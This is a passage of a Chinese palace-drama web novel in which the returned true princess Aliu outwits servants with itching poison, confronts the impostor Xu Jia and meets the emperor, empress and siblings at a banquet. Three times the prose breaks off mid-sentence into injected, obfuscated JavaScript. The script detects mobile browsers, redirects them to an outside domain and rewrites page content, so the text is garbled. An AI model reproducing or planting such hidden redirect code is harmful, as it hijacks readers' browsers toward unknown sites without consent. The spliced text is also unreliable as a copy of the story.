而在这条死胡同的尽头,矗立着一座破败的宫苑,宫苑的牌匾上写着三个字。 翠微宫。 阿柳还在犹豫到底要不要闯进去避险,就见方才还被她甩在身后的李嬷嬷一行人已经追了上来。 “公主还真是会选地方呀!”李嬷嬷喘着粗气,看着阿柳跑来的地方突然阴恻恻地笑了起来。 阿柳还没反应过来李嬷嬷此言究竟何意,就见她突然击掌三声,随后翠微宫的宫门打开,一群宫女太监从里面鱼贯而出,朝着阿柳的位置包围而来。 阿柳后退半步,后腰抵上冷硬的宫墙,看来她这是误打误撞跑到了他们提前埋伏好的地方来了。 “嬷嬷这是做什么,不是说要送我去皇极殿吗?” 李嬷嬷不怀好意的靠近阿柳:“自然是要送您去皇极殿,不过在这之前呢,奴婢还得先验验公主您究竟是不是皇上的亲骨血。不然待会儿若到了皇极殿上,却发现您这个公主是个假货,那岂不是要连累了奴婢们这么辛苦的送您一遭?听说公主的身上有块红色的胎记……奴婢们得罪了!” 她话音一落,围在阿柳周围的宫女太监们便伸着手朝着阿柳扑来。 “放肆!”阿柳厉喝,却反被两个宫女一左一右架住了胳膊。 李嬷嬷干枯的手指立刻便要撕开她的衣领,可在这时,一脸惊恐的阿柳却忽然转惊为笑。 她笑得突兀,倒是教胜券在握的李嬷嬷生出了几分不妙,她动作一顿:“公主笑什么?” “笑你傻呀!”阿柳飞扬的眉眼一弯,然后抬起一脚就将眼前的李嬷嬷踹飞半米。 真当她是傻的吗,明知有诈还什么准备都不做的乱跑? 踹飞李嬷嬷后,围在阿柳周围的一圈宫女太监也开始陆陆续续的浑身瘙痒,此刻他们别说是拉住阿柳了,怕是都恨不得能再多长出两只胳膊来给自己挠痒痒! “怎么回事,好痒啊,好难受,我这是怎么了!” “我的脸!火辣辣的像烧起来了一样,怎么办!怎么办!” “救命啊,救命!我快要痒死了啊!” 看着东倒西歪滚了一地的人,李嬷嬷脸色剧变,“怎么回事,你做了什么!” 阿柳一边挽袖子,一边朝着李嬷嬷靠近,“怎么,难道你们的主子没告诉你,今日接的公主可是条会咬人的毒蛇!” 阿柳早在跳下轿子的时候,就迅速将自己新调配好的无敌痒痒粉涂满了全身,她已经吃下解药,完全不怕。 但这些不怕死冲上来的走狗们,那可就遭老罪了。 毕竟阿柳的每一次抬手挥袖,都相当于是在给他们一遍又一遍的“上药”! 李嬷嬷闻言惊恐的大叫:“别过来,你别过来!” 说罢她转身就想逃,但已经迟了,阿柳一个猛扑就骑到了她的头上,随后只听见“啪”的一声,李嬷嬷的脸上顿时浮现出了五个鲜红的手掌印。 “你居然敢打我,我可是皇后娘娘的人!” 打你就打你了,谁还看你是什么人? 阿柳冷笑,而且究竟是皇后的人还是胥嘉的人,她自己心里有数! 随后又是一记耳光直接将李嬷嬷抽得踉跄后退。 阿柳拢了拢有些凌乱的发髻,指尖因太过用力而微微发抖:“这一巴掌,打的是不敬皇室,嬷嬷可有不服?” “我看谁敢不服!” 但还没等来李嬷嬷的回答,一串银铃般的笑声却先一步自远处的月洞门外传来。 阿柳顺着声音传来的方向抬头望去,只见一位身着杏黄色宫装的少女抱着只通体雪白的猫款步而来。 她肤若凝脂,眸似点墨,唇如朱砂,一颦一笑间都带着与生自来的贵气。但最吸人眼球的还是她那身段,行走时裙裾轻摆,宛若画中仙。 这是谁? 来人行至阿柳跟前,将手里的猫递给身旁的宫女后,一边轻抚着腕上的镯子,一边轻叹道:“本郡主不过晚到半步,这些刁奴就敢作践姐姐,实在是胆大的很啊!” 郡主! 阿柳瞳孔骤缩,看来眼前之人便是那位虽未见面,但却已经和自己交手多次了的假公主胥嘉! “还不拖下去杖毙?”像是完全没看见阿柳面上的神情,胥嘉笑吟吟地摆手,随她而来的侍卫们便将地上躺着的人全都拖走。 自己惩罚自己的人吗?有点意思! 阿柳嗤笑一声,她知道胥嘉只是表面处罚,待会儿等到了看不见的地方,别说放了,那几个冲在最前面的说不定她还要挨个奖赏呢。 只可惜这些人都中了她下的毒,虽然现在看起来还是只瘙痒难耐,但再过半日,便会生生将身上的血肉都给撕烂。 而这毒药的解药配置虽然简单,可那些挠坏了的伤口却都会留下难看的疤痕,再也无法恢复! 宫里会留着一群全身布满了难看疤痕的宫女太监吗? 阿柳冷笑,她还是太善良了,竟然没打算直接要了他们的命。 而对一切一无所知的胥嘉已经亲昵的挽上了阿柳的手臂,“姐姐别恼,不过是一群下贱的奴婢,不必放在心上。父皇还在等你呢,不过你现在身上都弄脏了,还是先换身衣裳再去吧!” 她的笑容温柔的无懈可击,若非知道这几次出手对付自己的人都是她,阿柳险些都要以为她是真心想要和自己演上一出姐妹情深的戏码了。 只是可惜,她早知道了眼前之人的真面目。 阿柳抬手贴上胥嘉的手背,也学着她的样子装模作样地道:“妹妹可真是考虑周到啊,没想到你虽然是个假货,但人倒是还不错。不过……既然已经确定是假的了,你刚才又是在管谁叫父皇呢?” 她突然压低声音,温热的吐息拂过胥嘉的耳畔:“还是说,妹妹已经知道自己的亲生父母是谁,而你的生父,眼下正有谋朝篡位之心?” 胥嘉的手猛地从阿柳的身上抽离,这样大逆不道的话惊得她脸上的笑容都挂不住了,只敢瞪着双大眼一脸惊悚地看着阿柳。 但阿柳恍若不察,还要伸手去拉胥嘉的手。 胥嘉慌忙后退,此时已经无暇再维持脸上的假笑。 她从前只当这个山野里长大的真公主要么是个唯唯诺诺的软柿子,要么就是一个咋咋呼呼的蠢货,反正无论如何,就算侥幸活着回来,也不过是一个仍由自己搓扁揉圆的命。 但是现在看来,她之前的猜测果然不错,这个突然回来了的变数一点都不简单。她的出现,极有可能会毁了她和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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褚奎单膝跪地,弯曲的脊背绷地很紧,像是格外紧张。 阿柳垂眸看着他,眼底没有半分责怪,她抬手将褚奎拉起,“快起来,我不会罚你。” 若是在外面,她或许还会指望着褚奎凭借武力来救救自己,可是如今身在宫闱之中,武力能起到的作用实在不大。 在这里,权势才是最有用的武器,稍有行差踏错,等待着他们的,或许便是万劫不复。 所以对于阿柳来说,云溪没错,褚奎也没错,错的是人她,是她还不够强大! 而见褚奎较了真,云溪也拍着他的肩笑道:“哎呀!我开玩笑的啦!你这人咋这么不经逗!” 但褚奎被拉起来后,还是那副老气横秋的模样,只知道一板一眼的又对阿柳抱拳行了个礼,“多谢公主。” 不过这时候可不是叙旧的好时候,所以阿柳没再纠结于此,而是将方才发生的事情一五一十的向云溪说了一遍。 “胥嘉此举只是为了羞辱我,可她没能得手,而且走的时候表情还有些不对,也不知道她之后还会憋着什么坏。” 云溪听完阿柳的讲述后,表情也逐渐变得严肃,“你是说她来的时候原本对你不以为意,但走的时候表情却突然不对了?” “是。”阿柳不知道云溪为何有此一问,“有什么不对的吗?” 云溪捏着下巴,难得没有嬉皮笑脸:“胥嘉是重生之人,对于所有事情都有先知权,而在她的认知里面,你本来该是个已经死掉的人。可是眼下剧情改写,你活着回来,而且你还在她的面前表现出了并不普通的一面。重生之后她本就是个猜疑心重的人,见此情形,肯定觉得自己从前小看了你,而今日的反常,估计也是想要开始认真的对付你了。你们之间,怕是不好善终!” 不好善终吗? 阿柳耳边忽然回响起了方才胥嘉转身离去时从嘴里挤出来的那句话,她依稀辨认出那句话说得似乎是: “姐姐不该活着回来!” 13. 皇极殿相认,诡谲迭起 阿柳最后还是在宫道上拦了个宫女为自己带路。 毕竟等着自己的好歹是皇帝,这要是刚回宫连身份都没确认,就担上个目中无人到连皇上都不放在眼里的罪名,那她怕是也用不着琢磨接下来要怎么和胥嘉斗,就直接被打包发配菜市口表演脖子碎大刀了。 跟着小宫女左拐右拐穿过三重宫门后,阿柳的眼前顿时豁然开朗。 飞檐斗拱的宫殿群在阳光下泛着金光,汉白玉台阶上站着两排身姿婀娜的宫女,朱红廊柱间垂着轻纱幔帐,随风轻晃宛若美人起舞。 这就是皇极殿吗。 云溪扯了扯阿柳的衣角:“比小说里写得更恢宏!” 但阿柳的手心沁出汗来,无暇理会云溪心中的惊叹。 她此时的心思早就透过那重重幔帐,飘进了远处的宫殿之中。 台阶的尽头便是敞开的殿门,此刻还隐约可见里头晃动的身影,东陵皇帝,她的父亲,那个她要称之为父皇的人,此刻就在里面等着她! 一想到这点,阿柳的心里就有些发颤。 惶恐,兴奋,太多的情绪在她的脑海里流转碰撞。 直到通传的太监总算在殿门口对她露出了个准许的眼神,那些无处宣泄的情绪,才骤然转换为了一股浓烈的期盼。 阿柳深吸一口气,抬脚踏上玉阶,她能感觉到两侧宫女投来的打量目光,那感觉就像无数小虫子爬过后颈,让她浑身都不自在。 进入殿内后,阿柳发现这里要比想象中更加昏暗。 朝阳的一面雕花窗半掩着,阳光被切割成细碎的金箔,洒在深色的地砖上。 正中的龙椅上坐着个穿明黄常服的男人,正低头批阅奏折。 褚奎和云溪被留在了殿外,没有跟进来。 所以孤身一人的阿柳进入殿内后只能无措地站定。 她没有跪拜,也不知道怎么拜,毕竟从小到大,还没有人教过她这方面的规矩。 殿内安静得能听见香炉里灰烬塌落的声响,龙椅上的男人看奏折看得出神,似乎并没有发现已经走进来的阿柳。 就在阿柳思考干站着也不是办法,要不要弄出点什么声音,让皇帝知道自己已经来了的时候,左侧珠帘后突然传来了一道女子不悦的声音。 “见了皇上如何不跪?” 阿柳这时才发现,原来这大殿内不止皇帝一人。 在那帘子后面,还坐着一位身着正红宫装的女子,她发髻高梳,头戴一顶金色嵌螺钿的小冠,身侧随侍着四名宫女,一看便是身份不凡。 阿柳还想细看,但这时听见动静的皇帝终于抬头,看向了阿柳的方向,“来了?” “是。”阿柳转头看向皇上,小声地应了一声。 皇上看起来四十余岁,不算年迈,但或许是多年劳累所致,鬓角已经添了些许白霜。 而在两人目光相遇的刹那,阿柳看着他,他自然也从头到脚的打量了一遍阿柳。 就在阿柳疑惑他怎么不说话了的时候,突然“啪嗒”一声,皇帝手中的朱笔倏地掉了在案上。 紫檀木的桌案上霎时溅起几点猩红。 阿柳疑惑的看向骤然脸色大变的皇帝,只见他的手微微发抖,嘴唇蠕动了几下,却又没发出声音。 这是怎么回事? “皇上。”珠帘后的女子适时地轻唤了一声。 皇帝这才如梦初醒,然后猛地站起身。 但他的情绪显然还没有稳定下来,所以起身的时候没注意又将桌案上的茶盏一下撞翻。 茶水在他批阅的奏折上洇开一片显眼的暗色,但他却并没有理会,而是三步并作两步的走到阿柳面前。 随着距离的拉近,阿柳能清晰的看见他眼中翻涌着一种她读不懂的情绪。 “像!太像了!”皇帝的声音沙哑得不成调,“这眉眼,这气度,简直一模一样!方才远远瞧见,朕还以为——” “皇上!” 还以为什么?阿柳不得而知,因为此时那道女声再次突兀地出现,将皇帝的未尽之言全都给堵在了口中。 随后珠帘哗啦一响,那位穿着正红宫装的女子终于走了出来。 “皇后娘娘当心。”随侍在侧的宫女扶着她的手腕,脱口而出的话让阿柳明白了眼前之人的身份。 皇后,也就是自己的母亲。 她的眉毛细长,眼尾上挑,饱满的红唇宛若樱桃,是个端庄华贵的美人。 “陛下当心身子。”此刻这位六宫之主正用帕子按着嘴角,望向阿柳的眼神冷淡得像看一件摆设,“是不是真的,只怕还是要先验过才知道。” 皇帝这才回神,但那双怪异的眸子却始终盯着阿柳的脸不放:“不必验了,她绝对是真的!” 他说得斩钉截铁,说罢便想伸手触碰阿柳的脸颊,但手伸至一半,又忽的停在半空。 “孩子,你叫什么名字?” “阿柳。”阿柳答得干脆,像是从未察觉到帝后二人诡异的氛围,“我师傅起的,他说我自幼体弱,不好养活,取名阿柳,有如劲柳遇风不折,坚韧不屈之意。我是我师父带大的。” “阿柳……好!好!”皇帝眼底闪过一丝痛色,似乎是没料想到阿柳往日竟过得如此不易:“你的师傅是何人,此番可有和你一道回皇城?他既对你有养育之恩,朕绝不会亏待于他!” “我师父只是丹骆村的一个怪老头罢了,不是什么厉害人物,他今岁冬日便病死了。”阿柳直视着皇帝的眼睛,“师父是个自由惯了的人,一向不喜什么功名利禄,我已将他葬在了丹骆村的后山,让他此后与山水相伴,所以父皇不必再行恩赐,阿柳替师父谢过父皇。此外,师父临终前还给了阿柳一个匣子……” 殿内气氛骤然紧张。 阿柳余光瞥见皇后捏紧了帕子,而眼前的皇帝则是眼前一亮。 她不紧不慢地从怀中取出了那枚揣了许久的虎符:“匣子里除了我的生辰八字以外,还有这个。” 虎符在稍显昏暗的殿内泛着冷光,皇帝倒吸一口冷气,颤抖着手接过,“这虎符还是先皇在时亲手交给她的,她——” “皇上!”眼看着皇帝的情绪又要失控,皇后再次突然打断,“既然确认了身份,是不是该让公主先见见她的兄弟姐妹们了?” 皇帝这才想起什么似的,干咳着一边笑,一边拍了拍阿柳的肩,“对对对!是朕糊涂了,张炳春,把皇子公主们都叫过来,今日迎回阿柳,朕心甚慰,让他们都来皇极殿用膳,也好一道见见他们的大皇姐。” “是,奴才这就去传旨。”张炳春是皇帝身边的总管太监,他说罢立马躬身退出大殿。 阿柳将虎符交给皇帝后,注意到皇后的目光某一瞬间似乎如刀刃般划过自己的脸,但她抬眼望去,看见的却还是那双一成不变的平淡眸子。 皇后身上藏着秘密,不只是皇后,皇帝也有些不对劲。 他们俩看起来,像是守着一个共同的秘密,而那个秘密,一定还和自己有关系。 阿柳抬手抚摸着有些发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974179|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷的脸颊,又想起了初见皇帝时他失态的模样。 像?眉眼像? 她不动声色的扫过皇帝和皇后的脸庞,并没有从他们的脸上捕捉到一点和自己相像的痕迹。 可她分明就是真正的公主呀,云溪所说的画本子里也是这样描述的。 可是,为什么她的心里却总带着几分不安? 而就在阿柳走神的时候,皇后淡淡的声音又在耳畔响起:“想什么呢,见本宫许久,也未曾唤上一声母后,莫不是看不上本宫?” 阿柳心头一跳,连呼“不敢”。 她只是见皇后对自己的态度一直不冷不热,疑心这位母亲的心里看重养恩,从而有些不待见自己,所以一时不敢出口,怕再惹得她厌烦。 但现在看来,不管这皇后究竟看重与谁,至少对于自己,还是没有厌烦到话都不想多说一句的地步。 所以想了想,阿柳又道:“儿臣只是头回见到母后这样凤仪万千的女子,一时有些胆怯,这才失了礼数,还望母后恕罪。” 阿柳说完便盈盈下拜,额头触到冰冷的地砖时,她能感觉到皇后的目光如芒在背。 殿内静得能听见她急促的心跳声,明明也就一瞬的功夫,阿柳竟觉得后背都陡然冒出了层汗水。 皇后没有立马叫阿柳起来,而是看了阿柳一会儿,才忽然轻笑一声,“你虽在民间长大,倒不想这张嘴比宫里长大的还会说话。” 皇帝此时已从激动的情绪中平复下来,他把虎符收在博古架上的盒子里,闻言皱眉道:“皇后,阿柳刚回来,你当善待她些。” “臣妾不过是夸赞公主罢了。”皇后并未在意皇帝的不满,她缓步来到阿柳跟前,然后伸手虚扶了阿柳一把,“既然都是一家人,何必如此拘礼?” 阿柳顺势起身,却敏锐地注意到皇后指尖在她袖口轻轻一拂,像是在确认什么。 这个细微的动作让她后背一凉,因为那是她惯常存放毒药的地方,皇后她好像知道些什么! “阿柳初来乍到,许多规矩都不懂。”但皇帝似乎没注意到这个细节,他依旧一脸和蔼地看着阿柳说道,"皇后日后可要多加教导才是。" 皇后端庄地颔首:“臣妾自当尽心,只是……”她话锋一转,“阿柳既已及笄,按祖制也该要为其择婿了,先前嘉儿的婚事便被一推再推,如今轮到阿柳,不知皇上可有什么打算?还是说,此事亦交给臣妾来办?” 阿柳心头猛地一跳,她这才刚回宫,皇后就急着要把她嫁出去? 难道自己先前的判断有误,她就这么容不得自己? 可是阿柳抬眸望向皇后虚假的笑脸,那张脸上虽然并没有多少真情,但也并没有表现出什么恶意呀! 皇后娘娘,她的这位母后,葫芦里究竟是卖的什么药? 而一旁的皇帝听闻此言,沉吟片刻才道:“此事先不急,阿柳刚认祖归宗,朕还想多留她些时日。” “陛下疼爱公主,臣妾明白。”皇后不紧不慢地说,“只是先前皇上不是说裕嘉近来屡犯我朝边境,恐有交战之意,若此时能与其和亲,想来对边疆稳定大有裨益……” “此事容后再议。”皇帝明显不悦,但脸上又莫名多了几分心虚,“今日是阿柳回家的好日子,莫要说这些。” 皇后识趣地不再多言,只是嘴角那抹若有若无的笑意始终让阿柳如坐针毡。 边境。 和亲。 她的这位母亲,不过初见,似乎就想要送她一份大礼…… 14. 家宴,有人欢喜有人忧 和亲之事作罢以后,皇帝又絮絮叨叨问了些阿柳小时候的事,阿柳真假参半,一一作答。 不多时,殿外传来了一阵细碎的脚步声。 阿柳转头,便见去而复返的张炳春领着几位衣着华贵的少年少女走了进来。 “儿臣参见父皇、母后。”进来的几人齐声行礼。 “都起来吧。”皇帝摆手招呼几人起来后,便一脸笑意的指着阿柳说道:“来,见见你们的大皇姐。” 阿柳看向这群陌生的兄弟姐妹,虽从未见过,但也算不上陌生。 毕竟回宫之前,云溪就曾为她详细的讲述过这些人的面貌习惯,以及为人秉性。 “阿柳,这是你的大皇兄。”皇帝拉着阿柳的手,指着最前面的那人对阿柳说道。 阿柳顺着他手指的方向看去,便见为首的少年面容俊朗,身着杏黄色蟒袍,腰缠玉带,左侧还紧贴着与阿柳分开没多久的胥嘉。 这位大皇兄,显然便是太子,也就是那位画本子里的男主角胥阳丹。 “见过大皇兄。”阿柳柔声行礼。 太子胥阳丹见状上前一步,恭敬还礼:“大妹妹一路辛苦。” 尽管二人面上看起来都是一派淡然,但眼神交接的那一瞬,却都不约而同地浮现出了一抹探究。 但这深埋于平和之下的暗流涌动并没有被任何人发现,皇帝依旧热情地拉着阿柳,继续向他介绍其他的皇子公主。 “这是你的二皇弟。” 二皇子胥建柏,其生母高贵妃的父亲乃是掌握着另外半块虎符的兵部尚书高剑宇。 按理来讲,有这样的助力,他若稍有些野心,那比之太子也是不遑多让。 可偏偏这人却完全是个烂泥扶不上墙的软脚虾。 他眉眼精致如画,睫毛纤长,自带几分风流相,但看人的时候,却总是眼神飘忽,不敢与人直视。 且那张俊脸常年浮肿,肤色苍白,眼下还泛着深青,一看便是常年酗酒且纵欲过度的模样。 阿柳故作不察,依旧恭敬的行礼,“见过二皇弟。” 对于这些皇子公主,阿柳一边顺着皇帝的介绍行礼,一边将他们与云溪的描述对上号。 三皇子胥华荣,周嫔之子。 周嫔的父亲是文选司主事周吉,他在吏部尚书沈文石的手下做事,是坚定的太子党,所以连带着胥华荣也一直为太子办事。 四皇子胥文璟,也是皇后的孩子,是阿柳一母同胞的弟弟。 据说此人虽身在樊笼,却心系江湖,素来厌烦宫闱官场的勾心斗角,所以成日里惯是喜欢溜出皇宫到市井里头厮混。 今日也是赶巧,人不在,未能得见其真容。 关于公主,云溪并没有细说,或许是作为女子对朝局的牵扯不大,所以那画本子里也并未过多着墨。 只粗浅的描述了二公主胥昭云的温婉,三公主胥锦婳的聪颖,以及四公主胥弦月的古灵精怪。 阿柳抬头将几人的面貌一一扫过,心里并没有因为书中的着墨粗浅而对几人掉以轻心。 毕竟对于看书之人而言几笔带过的人物,眼下可是真真切切的站在她的面前。 若对于她们能有确切的了解也就罢了,这样稍有不和自己尚且能提前防范。 可偏偏她什么都不知道。 二公主胥昭云虽温婉含笑,可那笑意却未达眼底。 三公主胥锦婳聪颖过人,言辞间可谓是滴水不漏。 四公主胥弦月看似天真烂漫,可那一双灵动的眸子却时不时闪过一丝锐利。 阿柳不动声色地垂下眼帘,心中暗自思忖。 雾里看花,虚实难辨,画本子里的寥寥数语,又怎能道尽这深宫之中长大的金枝玉叶? 正思量间,皇帝忽然又指着一旁的胥嘉说道:“阿柳,这位……” 他有些迟疑,似乎是不知道怎么开口。 毕竟亲生的孩子流落在外吃尽苦头,好不容易找了回来,他却还把这霸占了她身份的人留在身边。 这实在是于理不合。 殿内一时寂静,所有人的目光都若有似无地落在阿柳和胥嘉身上。 胥嘉低垂着头,指尖微微发颤,却仍维持着端庄的姿态,只是那紧抿的唇泄露了她内心的不安。 阿柳抬眸,静静地看向胥嘉。 这位曾经的“公主”,如今身份尴尬,既非真正的金枝玉叶,又未被彻底逐出宫廷。 尽管重生所带来的底气让她可以确保太子会想尽办法留下自己,可如今的太子羽翼未丰,到底是越不过皇帝去。 所以在面对这个她叫了十多年“父皇”的帝王时,她还是有些如履薄冰。 “她是……”皇帝斟酌着词句,似是想缓和气氛。 阿柳却忽地微微一笑,朝前走了几步一下拉住胥嘉的手,温声道:“这便是胥嘉妹妹了吧,未进宫之前便听说你相貌出众,今日得见,果然是气质非凡。这些年,你一直替我在父皇母后跟前尽孝,实在是辛苦你了。” 她语气平和,眼神澄澈,仿佛只是寻常寒暄,不带半分讥讽或敌意。 胥嘉一怔,抬眸看向阿柳,眼底闪过一丝复杂。 若非是先前在翠微宫外亲眼见识过她是如何骑在李嬷嬷的头上作威作福,自己恐怕真要被她这副温婉无害的模样骗了过去。 胥嘉指尖微僵,却很快调整神色,反握住阿柳的手,柔柔一笑:“姐姐言重了,能侍奉父皇母后,是嘉儿的福分。” 她顿了顿,后又像是想起了什么似的,眼睫轻颤,似有愧意,“只是,终究是我占了姐姐的位置,如今姐姐回来,我心中实在难安。” 她语气诚恳,眸中甚至隐隐泛起水光,仿佛真的满心愧疚。 阿柳心中冷笑,面上却不显,反而轻轻拍了拍她的手背,温声道:“妹妹何必自责?当年之事,错不在你,你我皆是身不由己,如今我能认祖归宗,已是天大的缘分。” 皇帝见二人如此和睦,眉间郁色渐散,欣慰道:“你们能这般相处,朕心甚慰啊!” 胥昭云微微一笑,柔声道:“是啊,一家人团聚,最要紧的就是和和气气。” 胥锦婳没说话,只似笑非笑地瞥了阿柳一眼。 胥弦月却似有不满,但又顾忌着还有旁人在场,所以只撇撇嘴轻哼了一声。 阿柳的目光扫过众人,心中却清明如镜。 胥嘉的柔弱愧疚,胥昭云的温婉大度,胥锦婳的绵里藏针,胥弦月的天真热情,无一不是精心雕琢的面具。 这深宫之中,人人皆是戏子,而她,亦不能例外。 所以既然要演,那便看看到底谁演得更真,谁,又能真正的笑到最后。 …… 午膳准备好后,一群人围坐在了皇极殿的紫檀圆桌旁。 随着张炳春的一声“传膳”,穿着淡青色宫装的宫女们便捧着鎏金食盒从殿外鱼贯而入,然后将一道道精致的御膳摆在桌上。 阿柳身上的衣服虽是新衣,但在这一众兄妹的华服中却仍寒酸的扎眼。 皇帝见了,眉头微不可察地皱了皱,但也没说什么,只命人在自己身边加了张席位,将阿柳换到了自己的身旁坐下。 “阿柳初回宫中,许多规矩都还不懂,你们一个个的要多担待些她。”皇帝举杯道,“她虽自小在外边儿长大,但朕对她的喜爱却绝不输于你们,所以若是让朕知道,你们哪个胆大妄为的敢欺辱于她,朕可绝对不会让你们好过,明白了吗?” 皇帝的话音刚落,殿内顿时鸦雀无声,几位皇子公主手中的玉箸都微微一顿,甚至连呼吸声都轻了几分。 还是胥昭云最先反应过来,她温婉一笑,柔声说道:“父皇多虑了,皇姐能回来,我们高兴还来不及呢。” 她说着,便执起玉箸,先为皇帝布了一道清蒸鲥鱼:“父皇近日操劳,这鲥鱼最是滋补,您且尝尝味道如何。” 而有着她的带头,另一侧的胥阳丹也有样学样的说道:“二皇妹说的是,我们疼爱大皇妹还来不及呢,又如何能欺负了她去?” “好好好!有你们这话朕也就放心了,你们是知道的,朕最见不得这骨肉相残之事。一家人嘛,有什么不能好好说清楚的,万不可因为一些小打小闹而生了嫌隙!” 皇帝欣慰地点了点头。 他接过胥昭云递来的鲥鱼,却先夹了一筷子放到阿柳碗中:“这是南城新贡的鲥鱼,味道鲜美,阿柳且尝尝合不合口味。” 阿柳怔了怔,琉璃盏中雪白的鱼肉衬着碧玉筷尖,蒸腾的热气模糊了她白嫩的脸颊。 似乎是没想到皇帝居然会给自己夹菜,所以她愣了片刻才想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975899|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起谢恩。 但话刚要出口,皇帝却立刻摆手制止:“今日家宴,不必拘礼,你便只当朕是个寻常父亲就好。” 但这父慈子孝的一幕落在众人眼底,却是有人欢喜有人忧。 胥弦月原本执着筷子的手指微微一顿,指尖在筷身上无意识地收紧,指节也泛起淡淡的青白。 她垂眸盯着自己碗中的清汤,唇角的笑意早就收敛了个干净,眼底也凝了一层薄霜。 “父皇偏心!”她忽然说道,语气里带着一丝难以察觉的冷意,“这鲥鱼珍贵,儿臣也未曾尝过几回呢,怎得就只给她夹菜,而不理会儿臣,难道儿臣就不是父皇喜爱的孩子吗?” 胥弦月一贯直接,所以心有不满立马便丢了筷子耍起脾气。 因着她的话,殿内霎时一静。 而皇帝闻言,目光转向胥弦月,似乎也有些意外她的反应。 他沉吟片刻,正要开口,一旁的胥昭云却已笑着打圆场:“弦月这是吃味了吧?父皇向来疼爱我们兄弟姐妹,惯没有要偏疼谁的说法,所以你可莫要耍性子信口胡说,伤了父皇的心呀。今日不过是因皇姐刚刚回宫,才多照顾了些,况且皇姐这些年流落在外,吃了不少苦头,父皇多关心些也是人之常情,咱们做弟妹的更应该体谅皇姐才是。” 她说着,又亲自为阿柳盛了一碗金丝燕窝羹,“皇姐也莫要置气,弦乐还小,虽口无遮拦,但并无恶意,你且尝尝这羹汤,味道也是极为不错的。” 虽然不知道胥昭云对于自己的维护究竟是好是坏,但俗话说得好,伸手不打笑脸人,她既然一直和和气气地没找自己麻烦,那自己也没有平白让人下不来台的道理。 所以阿柳扬唇笑了笑,便抬手接过:“多谢二皇妹了。” 可是她的手才刚刚触碰到碗面,一旁忿忿不平的胥弦月却忽然伸手将东西抢了去。 “我也要喝皇姐亲自盛的汤!”她娇蛮地说道。 但就在阿柳听见她说的话,想要将东西让出去的时候,却不想抢先一步拿走汤碗的胥弦月竟故意碰翻了汤碗,然后将那滚烫的羹汤全都洒在了阿柳的裙摆上。 “哎呀!”胥弦月惊呼一声,但眼底却分明闪过一丝得意。 所有人都看得出来,她是故意的! 只是阿柳不懂,她和胥嘉不同,自己的存在对于她而言似乎毫无威胁,只是多了一个名义上的姐姐而已,她又究竟是因为什么而对自己抱有如此之大的敌意呢? 但还不等她想出个所以然来,身旁的皇帝已经皱眉怒喝:“胡闹!” 可除了这声指责,再无其他。 阿柳瞬间明白,正如皇帝先前所说,他最不喜的便是骨肉相残,所以连带着的,只要不是万分过分的行为,他都不会有所作为。 那这是否也意味着自己就要白白受了胥弦月的这份刁难呢? 察觉到胥弦月早知如此的趾高气昂,以及胥嘉不着痕迹的幸灾乐祸,阿柳不慌不忙地取出帕子擦拭了一下双手。 她垂眸笑道:“父皇莫要动怒,阿柳无妨的,毕竟四妹妹年纪小,难免毛手毛脚。” 说完这话,她又忽然抬眼看向胥弦月,意有所指地接着道:“不过这宫里不比外面,有些错,一次就够了,四妹妹总不至于像个废人一样,一错再错,连自己的手脚都没办法管住,你说是吧?” 绵里藏刀的阴阳怪气一向是阿柳的拿手好戏,所以这招以退为进,轻而易举地便将没头脑的炸药桶胥弦月再次激怒。 她顾不上还有皇帝皇后,以及旁的皇子公主在场,一拍桌子便指着阿柳的鼻子骂道:“你竟然敢教训我!你看看你的样子,穿的破破烂烂,像个山野村姑一样,不会还真把自己当成我的姐姐了吧!我早就听说你是在流民堆里边儿被找回来的,在那等脏乱环境中长大,毫无礼度也就罢了,谁知道你回宫之前,还有没有被别的贱民给——” “弦乐!”她说得越来越过分,所以到最后就算是不想插手的皇帝也忍不住厉声喝止。 他怒目圆睁,正想好好的说道说道口无遮拦的胥弦月。 但阿柳知道他说得再厉害也不过是做做样子,所以压根儿不给他大事化小的机会。 她当即先皇帝一步站了起来,然后不以为意地笑了笑,接着说道:“四妹妹说得没错,我确实是在山野长大。” 15. 旧衣破局,雨夜初会皇后 说到这里,她忽然抬手解开身上的系带,然后不等众人反应过来,身上的新衣便骤然落地,露出了里面的粗布麻衣。 原来,早在翠微宫外被胥嘉刁难之时,阿柳就已预料到或许还会有新的危机在等着自己。 所以在和云溪他们碰面以后,阿柳便又从包袱里取出了这件旧衣服穿在了新衣里头。 她想的很简单,若自己的猜测只是虚惊一场,那自然皆大欢喜。 但若果真如她所想还有人要对她出手,那这身旧衣,便是她制敌之关键! 只是她没想到的是,这秘密武器派上用场的时间,竟来得如此之快! 